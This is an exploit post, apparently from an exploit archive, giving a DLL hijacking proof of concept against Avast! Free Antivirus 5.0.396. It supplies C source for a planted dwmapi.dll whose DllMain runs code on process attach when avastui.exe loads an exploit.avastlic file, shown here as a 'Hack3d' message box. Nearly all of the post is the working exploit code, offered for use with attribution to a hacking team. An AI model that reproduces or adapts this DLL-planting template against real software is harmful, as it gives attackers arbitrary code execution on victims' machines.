Avast!Free Antivurus 5.0.396

所属类别 dwmapi.dll

dwmapi.c
######################################################################## 
# Vendor: http://www.avast.com/
# Date: 2010-07-27 
# Author : indoushka 
# Thanks to : Dz-Ghost Team
# Contact : http://www.hack-r1z.com/cc/
# Tested on : windows SP2 Francais V.(Pnx2 2.0) 
########################################################################
# Exploit By indoushka 
-------------
exploited avastui.exe with exploit.avastlic using dwmapi.dll
-------------
#include "stdafx.h"
#include "stdlib.h"
void init() {
MessageBox(NULL,"indoushka", "Hack3d",0x00000003);
}
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}